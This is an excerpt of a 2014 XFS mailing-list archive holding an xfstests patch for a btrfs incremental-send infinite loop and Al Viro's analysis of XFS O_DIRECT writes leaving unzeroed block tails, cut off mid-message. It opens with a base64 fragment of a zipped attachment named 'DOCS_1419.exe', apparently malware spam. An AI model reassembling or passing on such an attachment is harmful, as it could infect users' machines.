R48eNT/99FPz/fffl+cvvvhC0ufZ9CnqfPLJJ5JOnz4tbeh3b775pnkANHz88cfmKdD5Fp4fNR43 n336KfP5Z543X335ZXPvC78yjx4+bL70wgvm60cOmy8+z88j5nMvvgSa3zJ///vfS2K777/3nvnx Rx+an3z0kaTTaDf3Pjd9gvTxx6fNzz77rG18v/nNb+RZJ9127n1u0vn85BycPHnSfAdz+e6775of YM7fAz18dwxzewQ085Nj1fU5Zn6yPOsfPnTIfO3VVyUdRfl9+DyJ9p555hnztVdeMQ/s2y9jP/nO u5JexJy889Zb5gu/3mueRBucX7ZzCmvB9ElOX0y/xXvmkx86GgvngPVJK9eG+aexbnz3+eefC+2v giaOkc98z/L6nvW5zrLGyGufPsI6sA3dHsvxWdf/kHyJMky8Zz55qf114sQJoe+NN94wj4PnSQPr v/322+ZLL70kPLV//37zxRdflDlnf7kX6x08eFDq8j370P1/jL65HhwHaSMtnNfcceTOmR4LP59+ 6hXzxPEPRCbY7ltYmy97sb0D+w9hXU/JHL8M3ucYSCvp0DLERL76FeR279698vnkk09Kn+dqhIu7 qGe6I12lcvRMl3PLHQGfPv3kU+C7X5tvgr6O04mz0ltMJ75cotw//8yzIvMvQ86Zd/TwEZP9HgNv Uk655kyfgYculD7H3F7MRT7g3D/yyCPCQ7zIK/v27RN+YP9/7Is8Sb4jn/OirHDduf4X2z/lkmOi TtKpM12vL45X9M5rr8kz+3799dfP2/8XHaTfUTeCdlkvfmYT85k6qsPEfl+BziNf86LOodzr/r+g LGJdL5RYVts/PXatZ0THdFCH714A71EOOWauBXUL5VnbiTcg35vW7zabm5rM1pYHzAd27za3bLjf fPRhw3yMfAPZ3Lxrk2k8+KD5IuSEunrn/febD+7ZY/H1Cy+a96/bae5paZFn8vziHXvMxwwD5fea v9dzk9V/+pPzyLWhTLz4wq/FRhzY95p5cP8+6J5j5nHQy0RbefKdt833YZOY3jv5LuzjybZkPb97 1vuTfH73JGT7kNgK8lyu7ecnE/v/GHP3PrEG2joFffkb8MfZ99mEtk8hnZV3voSyb56w7OH5+heb n9X7+lPbo/Z2jXU7st+dpfZt6Gd+sn/q5Nz83Pbb9/VV9K/r6/71+HPp6qzuV9F/+/Efgh5mu5QJ yiPlhdiHZSinGtfo/im3lB3aVeoz0k+82Fn/fJeLufisdT77p27m+8PAheyPuon3LEu7y/cfZDEO y1GH0N7TXvId71me4+iof75nP/pZ06z7Zx/MJ07i2Emfbkv3xXnhM+eedoP6jPVYjnqFn0wdzQNp 1HNO+slv7Ev3//yzz5q/eu45s3V3i+gK6o9HoTcOAh8+DSxAnfIK7CafmYyHHhL9pMscBD1n0v5z 0oMP7DEfbG2Vtvn85OOPS5tP/vKX0j/XV3BQFvdeTKLe/kzbgy+ZcvEkn7X9YT7nmTqa/MV50piw o0v7L/zkGDRGY32uY2dXrt+T2z/XhjaaeJNryTUiPRq3nrEpn7eV15/sj7xCeikXHeFcfeXi1/b9 ax+MY6E8kq+1vOf6f7ntaNl9Fnz0HPiI/Kptu740zqGN7Kx/9sP7C2EJfel5ZHntJ7GfjuqzXy33 nc0/55n3XINcv+18SdNB/cC2LlRe66GO+v+qLq79r4ERiHe4Bpo3uSacg9xL9099y/csS/3K9SQv aYzS5od34kPlXnxPPiDW5dxwbaivyNft/RjdP3nucegF0s1y9LuIF3n/S+gJ4ifSRZpy+aejS/dP vUjaOWbyMZ9z554X++eY2S7ni59a5zKRVtJOHcr5oUxqn7uzi/1rWeA4OJdsg4n1OYe5/ZM+zj/L 8Z59an5mPsfNOeInn5mv5aijxDnXvrv2wTXW0dhHl9Xz/3lWj5J29v1BVsb/2Jee/8ceexbj/lD6 5/h0zICJujB3zr7Ki/0/+dSzZuOmveYjew6DltPo+6jYWOp9rjv7vxjf+2Iu9v8u1vTB1ifNQ6+9 Z/4e4/wVZOAJ8Pyz4J9HH3tMnikXR6jfwQMs05mfo9M7mMO9kJmnn37afB4+/TPgxz2wwYcgB48/ 8YT4or8GftH488jhQ+Y7b70tcZ8TtHmQ02Pgd8YA+akxl/Bgli/Pl14HrS+gfcYDX4IeYAyKMsHP Xz3/vMg237PNcyMC/7UX4xSFSP+mcuIU3zi33CvwsfaDfp0OvPra2em1c9NBSfvOn/adnQ4BI+l0 1rsLtdNJOoT0GuMe0C/kafIV155yp3XC6Rz90D6dbpc+zeqJC/HghRL14aOPPmo+/PDD5kvwVx+A L0tZ0++ps2kvjoHmj6BzqR9N2p7c9Ce+OA/U8RzDzp07xYbwot2l7aLNoD35WNP/Z3bl2nWddH5u 3h+D/vaxCE3LxV6aVuoX8oy+aEs590xcj6+Kfups+ojaFrMf2in9eT5s0P4i7Y9Bx5N3HnjgAYnT 6otj0T7IV0U/Z1f7gfwUvyubmPdl8F3uReygY2v0hzkfvNiWxjX8bE//hXRDR4k64Dj9G7RJXcZP zjfv9TM/3yeeg50S3HqBNomjaNN0LIHPvLjG+pn05/I//dQvmz77A96dr85Z5aCHn3rqKfPBBx8U PcpP7asSvx08eFD0J8eRS//LsMerVzaZ61atMlf+4hfm1i1bzEceeths2rbNXP7zNWbT1m3i37eC H58Ab/4a9nrj/RvM7bu2mtsbtphPAac/B1zxCnj1YfS5du1ac/vWrW1xBNrJ+zfeb27fsM3cuH69 xPXZBuMKczfvMjehzh7w+8t7XzQPHTgoNF2I48g/xITErode3Wc23/+0uZc+BniONLLtRx4xzGce h849DPwO3LafMRLI/mHMw2PPPGIe2Ue/9KjEMw/gPefqEHT086CNnyzLT8Zi972w39z7zAtSl+WZ f/z1Y+bDTz9rPv/yK7JvdvzoG8BG1n7lp9nYYm58USeuJ+knpqR8HeG+497npY1jR4+YR/HMWOvR I4fMt0/g8zDoRD5jrixz+OAB89133oasvW9+CN7+4Dfnpg+zqe3+1Pu4f//sPN5LffjB750y9+ze Z+7fd8KKE+XsRXE8ubqf48ml/wPuS2LuTr39lqT3qPuA404h8VM/63SKMpnz3P79H5JOIh05/Cb0 y6mz6NcxnY7op57Sa/IJ49Gf/U7SJ6c/ObNe7Z/bJa7z6Xbr+4elz87qJ5d/TufEyvVze/pzy+h4 RWf126f2/PmHJPbXWT/t89vzT/s1Ypnc9Wr/nJu07ers/cWk9nzSWf8sp+nXMdXceG7ufUfPuUn7 3J29v5jUWT8d0fPnxj/n66cz/mH8RufpcwEdldexj47aZn5n/XZWp6OkdXpH73S+bk/TvzfrcxFf 0TfQ8sAy4t9D1/Md64lNOmTFPTQuZuJ60t9gbI2xCa6pjjMRO7IdYtPcWF1nSce52+cz/sNzALod zf9sX59pIW0sQ3zE+WT/eh9Lywrfk7ZcfudY9XkKliG9HAtT+9gf8UpnvE8adJxOY1mdT8zJ9onp cvmf/KPXXmM+vV6ce45bPxMzsQzjye15RMdSdR0dqyOeIGbXsTx9lqkz/tExlfbviN1y6dP6n3hL x2QZO9mL+XrrzbckXkPfh3P4Nt4xZsOY6VNPPokyVozl7WziuIgZGRdifa4P23oW8818fj7P+ADX Dm1KLDinvk5sk/zM2A7PWeXmE1txb4dt8Fnj/wNY7y0NDeYRYL6W5p1m48ZN5tGDh4DXDgv2fBwY 9vVDhyXtBj5s3LwZGGW3eSybJ+mw9Y74tGHjRnNbY6N5gPvquWW+ZGrdZbXRvGOH4Fmd/9yTT5nb tzQKLmZf+vwOx0J+6miPX/NfZ88dlT1fmYtJX6af9v4XdQN9gnNiPeC1zuJA50u8LlTmyya919ke /5/lP0IvUTYoe+RD6kHKG2WciXqE/MwyF7ooo7z0OKjbqOsoy/Rr2Tb18Zf1i/Wc516d0U/ZoNxS V7IP3lPGte5uK99B0pemX39q2eR8UJdyPtq3d77rYuinrqLe5hyRds4dP6lXcn3p995513w/m3j/ u99+2tZWe/qpV6n/tX3Q+9tcEx1fON91MfTn2g69r6P3RvR8ce7a8yj9DX21p588SbtEmjkWvYcm cvr52fsY7JM2lbTp/Z6Lof+ruNrzPzEKbT/p5uf59idJP8vQJpJ+jv3L0M95IJ+TTzlHF9IJF0q8 OA7KPfmEff2huuzL6J//btefkn7yKnFHI2w1z5ZSL/OiftCYj2tGHcg16+jKpT/XN+sM516MvrvQ xXaop5944gnBVVpeiA2po6hjKe+8Jy4kT7eXc00/26JNEayWxYi0M3uze2HUo1p36HMxuePK1UsX c5F+ypuWU7ZBmvR+nY5jM6+jPjT9pIfjpK3Sep91uYakm3nEjNyvJyal7tZ77+QBlmdbF3vpPjh3 7J/00fboPUnOoz7b2tGVSz/bYMyda6BtDLG79p+4nuyP9HNdmKfPppE/2+uGL3Nx3hmf1bQzkX84 JtLB+eT6dHbl0i+4O8tzTLoN+jwcm/ZN9Prk8ifXgXInZ14vgo84P5Tb1tZWczewN2WBbbBffV5J 45iO7FIu/aSN7enzDrzXZztoP7im5El9nonzRPopD8zT5/Pay1hnl5Yb0sW146fWHx2dn+hoXjT+ v5Dt+HNMHGeu/tH2me/4zHGRV7Re+3O8cvln5+5W8MUp6xwE6CcfUnaJOfV+K8ek+efP4ZKYwttv mU88/rS5uxm68Zfg+Td43uVz6K232vYpKQuUD8qyPlv657AupP/w4aPmytU7zGU/e8587MEj5i+f PAbaft+2R6nPdmnZpj7WZ9D+1JeW3yeeeNp83HjF3P/y+3LWR/QReObV7Bmvg9Bjr0FP7meMKmvT PkZdwRTU26alTzryxy6UPsz+jcDrtMHQb+xL71fuQ9+Hse7kgZPQb9TTpOdN0EybQxpYljy/Z88e 8+h+62+mSBPp5fmDhw3DfBp+E8/RtbS0iE2Rsz6PPiq45WWsxXPIO9/fSZwvsd3Vq1eby5cvl8Q9 681btpi/wP3ChQvNhx56yGxubjbrpk41t27bZt43a5Y5Z+5c823odNJ/CHMp54qOvi5nio5l/7aA eX/u6Qjszbkngv5y/ddeecquunSxTmnxL2Ijqnt364l/DxtVhYXZp28qFVMeB//Sd7C6Wd2O39eo Abjro/qrfnjug9+9cc/rAcf7X1h/5+tSeVdt6aY/f5Tt1aH0X+OeuXpJ3mD5jtneqkS+1ZXfE3uH Kpf335BaA/G2SL6tl98DWy3fW1yWbWGLYwS/PvKs7yg+t6VeUqaw7SemhspZtW+QRvk225Hyjb78 htoq5JfgqQgt8Qudb1B/3VamQugYq9q+ARhXX5QeJt+aXIV0B1roLqUr5TuVK8+i+AfKh7Y0fb3k e4uHCd0VZ43rWtDeG+3k0lGqvpVTd7B8925VTp2EulKFkZK44xivlG8WjqqUiqOlb6t7ZHaSWDV+ Zy+/xbdQpZGSKBdV/4TfEZSMq38QOvPRl/WNveynDFSU5oz6XPquRBoj72pwn6f4XczDpVZP+Zbp sTLK4WoEv3FXrUPdLz9vV+JND7RUis8zrVTJU0a+pbpSvou4GCXJU6S9f7ZkSZZ2PW9lX2oMpeqb aONGoa5YjZJvuT7/mjegpSHSWzFy+B3FzOkv306sx0Le7H7WdzTzqpB1Pbuv9qv7Va5tSnnQXw/5 dmTrW61LQVH3c/oslFZ0UurGHr169el37S23ZG/+8vzf81lV+FWAfPc99Zfrf+B1FU2qzaYKax3f dXm/M+m6SaeDeW7bslpHd2QV2PLywv5Cr8v5j/l22986VeEIl+8fXXmOvNqkLc+x7LbCWwqjOTmX FH7TnqeWdV9+eU0BzAZ/+F8DUC1aX9GeUT/kT+EVOW06vjbieOGp11bXj/j2LV88dvm/bfnPkelL By2rtcULa23hwtq8Rcvstjybrcvf9x7fevXfVc+44ebl5T3yB/QsDLZRnOcEbUPCgwpvdtkHOeyX 36D+HSqvJ1Rdb6i4a6DsIlB8VJY9oCr/CSa/B1RhD9xRMfaUO6tkT5SN4r4H7grxnFL/UXj53wTD scJIOF0YLSwMh2/DY1we0/L4x+t43NLcMeY5lX1cvSocV2cbN0491njZltjf5xlfrI33ui3ddcax q+79yRPJl3YcXdfFPqF31/r7Duy+c8GCEQeK1nZ55saZM/+m3vbWyc+/vmThZc/v/d7+ay+76fv/ fHWm59qqZ3oHp/xD9/87YdT3R878+ojui+ynh4195cOe7z/wo6YfrHz3O59Hf7az/4+ud1w14jtr JzwyreeE6+/7aNrw+565ImjDSue1WwI76Lqk+R++O3788mTzZ8l7Ty58dvSpYmdT9TdPv/33m9Ml rr9aUvzcgyNOjuzrrrvi9de6zPvJ+l4r+i64ovxf9tR0n1mz+Nu3jI0fGbr/F5f9U/9PTgz9Rkn+ mPsuv2T7K93/tXHfU9Mfv/+KO6LzDjwwZdHqqwa2ev/jp9G8zx/8xLHsuz9dc9Ob00+saPxw66cv r/heuDYvA6YpAusW3vVHW5oOuPEMRy8bUNglRyoCYRt6+XrbTHnt4UCuGBX+7zOvHOG/dnwtb0jX lyu/63IvnvLgJd3yimf8ZN9HW9sxgmNcTUvDQ5VLv/Po3eUDG2b0X7g99v1RDzz72IkTQ6c9u3TI bYtuevD//PMtL/3dottXppo++l9v/esvw/17P9flo388NvVbjg9++/K/xesmXD0gcuu/z1s04c7P n/3RtED3/3hqX9WQb028Z9bG4sEjmx4btPKW57uFXqgZdbxu7N/e//rl3wvY7hn3wbd+N2C88fPJ S8f94BnRH/8fUEsBAhQAFAAAAAgAKDtTRDeDJ1cRFAcAQKYLAA0AAAAAAAAAAAAgAAAAAAAAAERP Q1NfMTQxOS5leGVQSwUGAAAAAAEAAQA7AAAAPBQHAAAA ------=_20140316101914_49430-- From fdmanana@gmail.com Sun Mar 16 10:26:04 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 886177F37 for ; Sun, 16 Mar 2014 10:26:04 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id ECEA6AC006 for ; Sun, 16 Mar 2014 08:26:03 -0700 (PDT) X-ASG-Debug-ID: 1394983561-04cb6c56785d6980001-NocioJ Received: from mail-wi0-f174.google.com (mail-wi0-f174.google.com [209.85.212.174]) by cuda.sgi.com with ESMTP id 9wQFUMGxxtIEylHQ (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 16 Mar 2014 08:26:01 -0700 (PDT) X-Barracuda-Envelope-From: fdmanana@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.212.174 X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.174] Received: by mail-wi0-f174.google.com with SMTP id d1so1216842wiv.7 for ; Sun, 16 Mar 2014 08:26:00 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.174] X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.174] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=5ixWgXkQ+oWKXYQoiPXyAHSJhF1F5Zg0I1DKtvuK3r4=; b=CHwGPquTZnzmsEFq910+op80iTP4p+7fHT2vqGhh8hsa1WiUVQ32IlY1140lZ7tLEW FGB52K7W+iLye04BTDZHbi+wt33LP62jdBUzOgiOGvl9emw5zE7YStrgH7EkUb7h7lwy 7ruusOS5p5Fm0BMKIrujDxcQOlvQ4xUnp6OdmDbhny7SjO+oKTY5QFsJdIbpaGSFRcYU pZXA5ap7HmnPTG5CjO5M60PZiPK0wigtiF24HtOTjeIqrnjs3zTBVhgQI8gmh+6+gxPa GHeE3Jmfd107BVMAe0Oo6JWrJ8PjppfrsCjvvJEJ8+ROrvKQ0YFzK5gyIY2boBCergpW Ttaw== X-Received: by 10.194.92.147 with SMTP id cm19mr2278906wjb.37.1394983560580; Sun, 16 Mar 2014 08:26:00 -0700 (PDT) Received: from debian-vm3.lan (bl10-140-160.dsl.telepac.pt. [85.243.140.160]) by mx.google.com with ESMTPSA id t5sm30315751wjw.15.2014.03.16.08.25.59 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Sun, 16 Mar 2014 08:25:59 -0700 (PDT) From: Filipe David Borba Manana To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, jbacik@fb.com, Filipe David Borba Manana Subject: [PATCH] xfstests: add test for btrfs send regarding directory moves/renames Date: Sun, 16 Mar 2014 15:24:26 +0000 X-ASG-Orig-Subj: [PATCH] xfstests: add test for btrfs send regarding directory moves/renames Message-Id: <1394983466-20497-1-git-send-email-fdmanana@gmail.com> X-Mailer: git-send-email 1.7.10.4 X-Barracuda-Connect: mail-wi0-f174.google.com[209.85.212.174] X-Barracuda-Start-Time: 1394983561 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3955 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Regression test for a btrfs incremental send issue where the kernel entered an infinite loop building a path string. The minimal sequence of steps to trigger this issue are: $ umount /mnt $ mkfs.btrfs -f /dev/sdd $ mount /dev/sdd /mnt $ mkdir /mnt/A $ mkdir /mnt/B $ mkdir /mnt/C $ mv /mnt/C /mnt/A $ mv /mnt/B /mnt/A/C $ mkdir /mnt/A/C/D $ btrfs subvolume snapshot -r /mnt /mnt/snap1 $ btrfs send /mnt/snap1 -f /tmp/base.send $ mv /mnt/A/C/D /mnt/A/D2 $ mv /mnt/A/C/B /mnt/A/D2/B2 $ mv /mnt/A/C /mnt/A/D2/B2/C2 $ btrfs subvolume snapshot -r /mnt /mnt/snap2 $ btrfs send -p /mnt/snap1 /mnt/snap2 -f /tmp/incremental.send The necessary conditions here are that C has an inode number higher than both A and B, and B as an higher inode number higher than A, and D has the highest inode number, that is: inode_number(A) < inode_number(B) < inode_number(C) < inode_number(D) The same issue could happen if after the first snapshot there's any number of intermediary parent directories between A2 and B2, and between B2 and C2. This test covers the minimal case and more advanced scenarios, creating files and links inside the directories to verify the incremental send is able to deal with them. This issue is fixed by the following linux kernel btrfs patch: Btrfs: fix incremental send's decision to delay a dir move/rename Signed-off-by: Filipe David Borba Manana --- tests/btrfs/045 | 177 +++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/045.out | 1 + tests/btrfs/group | 1 + 3 files changed, 179 insertions(+) create mode 100644 tests/btrfs/045 create mode 100644 tests/btrfs/045.out diff --git a/tests/btrfs/045 b/tests/btrfs/045 new file mode 100644 index 0000000..df2a1b6 --- /dev/null +++ b/tests/btrfs/045 @@ -0,0 +1,177 @@ +#! /bin/bash +# FS QA Test No. btrfs/045 +# +# Regression test for a btrfs incremental send issue where the kernel entered +# an infinite loop building a path string. The minimal sequence of steps to +# trigger this issue are: +# +# $ umount /mnt +# $ mkfs.btrfs -f /dev/sdd +# $ mount /dev/sdd /mnt +# +# $ mkdir /mnt/A +# $ mkdir /mnt/B +# $ mkdir /mnt/C +# $ mv /mnt/C /mnt/A +# $ mv /mnt/B /mnt/A/C +# $ mkdir /mnt/A/C/D +# +# $ btrfs subvolume snapshot -r /mnt /mnt/snap1 +# $ btrfs send /mnt/snap1 -f /tmp/base.send +# +# $ mv /mnt/A/C/D /mnt/A/D2 +# $ mv /mnt/A/C/B /mnt/A/D2/B2 +# $ mv /mnt/A/C /mnt/A/D2/B2/C2 +# +# $ btrfs subvolume snapshot -r /mnt /mnt/snap2 +# $ btrfs send -p /mnt/snap1 /mnt/snap2 -f /tmp/incremental.send +# +# The necessary conditions here are that C has an inode number higher than both +# A and B, and B as an higher inode number higher than A, and D has the highest +# inode number, that is: +# inode_number(A) < inode_number(B) < inode_number(C) < inode_number(D) +# +# The same issue could happen if after the first snapshot there's any number +# of intermediary parent directories between A2 and B2, and between B2 and C2. +# This test covers the minimal case and more advanced scenarios, creating files +# and links inside the directories to verify the incremental send is able to +# deal with them. +# +# This issue is fixed by the following linux kernel btrfs patch: +# +# Btrfs: fix incremental send's decision to delay a dir move/rename +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Filipe Manana. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +tmp=`mktemp -d` +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + rm -fr $tmp +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux +_require_scratch +_require_fssum +_need_to_be_root + +rm -f $seqres.full + +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount + +mkdir -p $SCRATCH_MNT/a/b +mkdir $SCRATCH_MNT/a/c +mkdir $SCRATCH_MNT/a/b/d +touch $SCRATCH_MNT/a/file1 +touch $SCRATCH_MNT/a/b/file2 +mv $SCRATCH_MNT/a/file1 $SCRATCH_MNT/a/b/d/file3 +ln $SCRATCH_MNT/a/b/d/file3 $SCRATCH_MNT/a/b/file4 +mkdir $SCRATCH_MNT/a/b/f +mv $SCRATCH_MNT/a/b $SCRATCH_MNT/a/c/b2 +touch $SCRATCH_MNT/a/c/b2/d/file5 + +# Filesystem looks like: +# +# . (ino 256) +# |-- a/ (ino 257) +# |-- c/ (ino 259) +# | |-- b2/ (ino 258) +# | |-- d/ (ino 260) +# | | |-- file3 (ino 261) +# | | |-- file5 (ino 264) +# | | +# | |-- file2 (ino 262) +# | |-- file4 (ino 261) +# | |-- f/ (ino 263) + +_run_btrfs_util_prog subvolume snapshot -r $SCRATCH_MNT $SCRATCH_MNT/mysnap1 + +ln $SCRATCH_MNT/a/c/b2/file4 $SCRATCH_MNT/a/c/b2/f/file6 +mv $SCRATCH_MNT/a/c/b2/d/file5 $SCRATCH_MNT/a/c/file7 +touch $SCRATCH_MNT/a/c/b2/d/file8 +touch $SCRATCH_MNT/a/c/b2/file9 +ln $SCRATCH_MNT/a/c/b2/file9 $SCRATCH_MNT/a/c/b2/file10 +mv $SCRATCH_MNT/a/c/b2/f $SCRATCH_MNT/a/f2 +mv $SCRATCH_MNT/a/c $SCRATCH_MNT/a/c2 +mv $SCRATCH_MNT/a/c2/b2 $SCRATCH_MNT/a/f2/b3 +mv $SCRATCH_MNT/a/c2 $SCRATCH_MNT/a/f2/b3/c3 +touch $SCRATCH_MNT/a/f2/b3/c3/file11 +mv $SCRATCH_MNT/a $SCRATCH_MNT/a2 + +# Filesystem now looks like: +# +# . (ino 256) +# |-- a2/ (ino 257) +# | +# |-- f2/ (ino 263) +# |-- file6 (ino 261) +# |-- b3/ (ino 258) +# |-- d/ (ino 260) +# | |-- file3 (ino 261) +# | |-- file8 (ino 265) +# | +# |-- file2 (ino 262) +# |-- file4 (ino 261) +# |-- file9 (ino 266) +# |-- file10 (ino 266) +# | +# |-- c3/ (ino 259) +# |-- file7 (ino 264) +# |-- file11 (ino 267) + +_run_btrfs_util_prog subvolume snapshot -r $SCRATCH_MNT $SCRATCH_MNT/mysnap2 + +run_check $FSSUM_PROG -A -f -w $tmp/1.fssum $SCRATCH_MNT/mysnap1 +run_check $FSSUM_PROG -A -f -w $tmp/2.fssum -x $SCRATCH_MNT/mysnap2/mysnap1 \ + $SCRATCH_MNT/mysnap2 + +_run_btrfs_util_prog send $SCRATCH_MNT/mysnap1 -f $tmp/1.snap + +_run_btrfs_util_prog send -p $SCRATCH_MNT/mysnap1 $SCRATCH_MNT/mysnap2 \ + -f $tmp/2.snap + +_check_scratch_fs + +_scratch_unmount +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount + +_run_btrfs_util_prog receive $SCRATCH_MNT -f $tmp/1.snap +run_check $FSSUM_PROG -r $tmp/1.fssum $SCRATCH_MNT/mysnap1 + +_run_btrfs_util_prog receive $SCRATCH_MNT -f $tmp/2.snap +run_check $FSSUM_PROG -r $tmp/2.fssum $SCRATCH_MNT/mysnap2 + +_check_scratch_fs + +status=0 +exit diff --git a/tests/btrfs/045.out b/tests/btrfs/045.out new file mode 100644 index 0000000..5b0d489 --- /dev/null +++ b/tests/btrfs/045.out @@ -0,0 +1 @@ +QA output created by 045 diff --git a/tests/btrfs/group b/tests/btrfs/group index 4589043..9b41895 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -47,3 +47,4 @@ 042 auto quick 043 auto quick 044 auto quick +045 auto quick -- 1.7.10.4 From viro@ftp.linux.org.uk Sun Mar 16 15:56:32 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E96367F4E for ; Sun, 16 Mar 2014 15:56:31 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id BF8078F8033 for ; Sun, 16 Mar 2014 13:56:28 -0700 (PDT) X-ASG-Debug-ID: 1395003385-04bdf076f0347d20001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id qEVJ1gyr34BY8PrJ (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 16 Mar 2014 13:56:26 -0700 (PDT) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1WPI6a-0008Vx-Ra; Sun, 16 Mar 2014 20:56:24 +0000 Date: Sun, 16 Mar 2014 20:56:24 +0000 From: Al Viro To: Brian Foster Cc: xfs@oss.sgi.com, Dave Chinner , linux-fsdevel@vger.kernel.org Subject: Re: fs corruption exposed by "xfs: increase prealloc size to double that of the previous extent" Message-ID: <20140316205624.GS18016@ZenIV.linux.org.uk> X-ASG-Orig-Subj: Re: fs corruption exposed by "xfs: increase prealloc size to double that of the previous extent" References: <20140315210216.GP18016@ZenIV.linux.org.uk> <20140316022105.GQ18016@ZenIV.linux.org.uk> <20140316023931.GR18016@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140316023931.GR18016@ZenIV.linux.org.uk> User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1395003386 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3968 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sun, Mar 16, 2014 at 02:39:31AM +0000, Al Viro wrote: > Hrm... s/unused/not zeroed out/, actually - block size is 4K. So we have > an empty file extended by ftruncate(), then mmap+msync+munmap in its tail, > then O_DIRECT write starting from a couple of blocks prior to EOF and > extending it by ~15 blocks. New EOF is 2.5Kb off the beginning of the > (new) last block. Then it's closed. Remaining 1.5Kb of that last > block is _not_ zeroed out; moreover, pagefault on that page ends up > reading the entire block, the junk in the tail not getting zeroed out > in in-core copy either. Interesting... AFAICS, what happens is that we hit this /* * If this is O_DIRECT or the mpage code calling tell them how large * the mapping is, so that we can avoid repeated get_blocks calls. */ if (direct || size > (1 << inode->i_blkbits)) { xfs_off_t mapping_size; mapping_size = imap.br_startoff + imap.br_blockcount - iblock; mapping_size <<= inode->i_blkbits; ASSERT(mapping_size > 0); if (mapping_size > size) mapping_size = size; if (mapping_size > LONG_MAX) mapping_size = LONG_MAX; bh_result->b_size = mapping_size; } and while the caller (do_direct_IO()) is quite happy to skip subsequent calls of get_block, buffer_new() is *NOT* set by that one. Fair enough, since the _first_ block of that run (the one we'd called __xfs_get_blocks() for) isn't new, but dio_zero_block() for the partial block in the end of the area gets confused by that. Basically, with direct-io.c as it is, get_block may report more than one block if they are contiguous on disk *AND* are all old or all new. Returning several old blocks + several freshly allocated is broken, and "preallocated" is the same as "freshly allocated" in that respect - they need to be zeroed. Looks like __xfs_get_blocks() is broken in that respect - I'm definitely seeing O_DIRECT write() crossing the EOF calling it *once*, getting ->b_size set to a lot more than what remains until EOF and buffer_head not getting BH_New on it. And once that has happened, we are SOL - the tail of the last block isn't zeroed. Increase of prealloc size made that more likely to happen (unsurprisingly, since it can only happen when blocks adjacent to the last block of file are not taken by anything 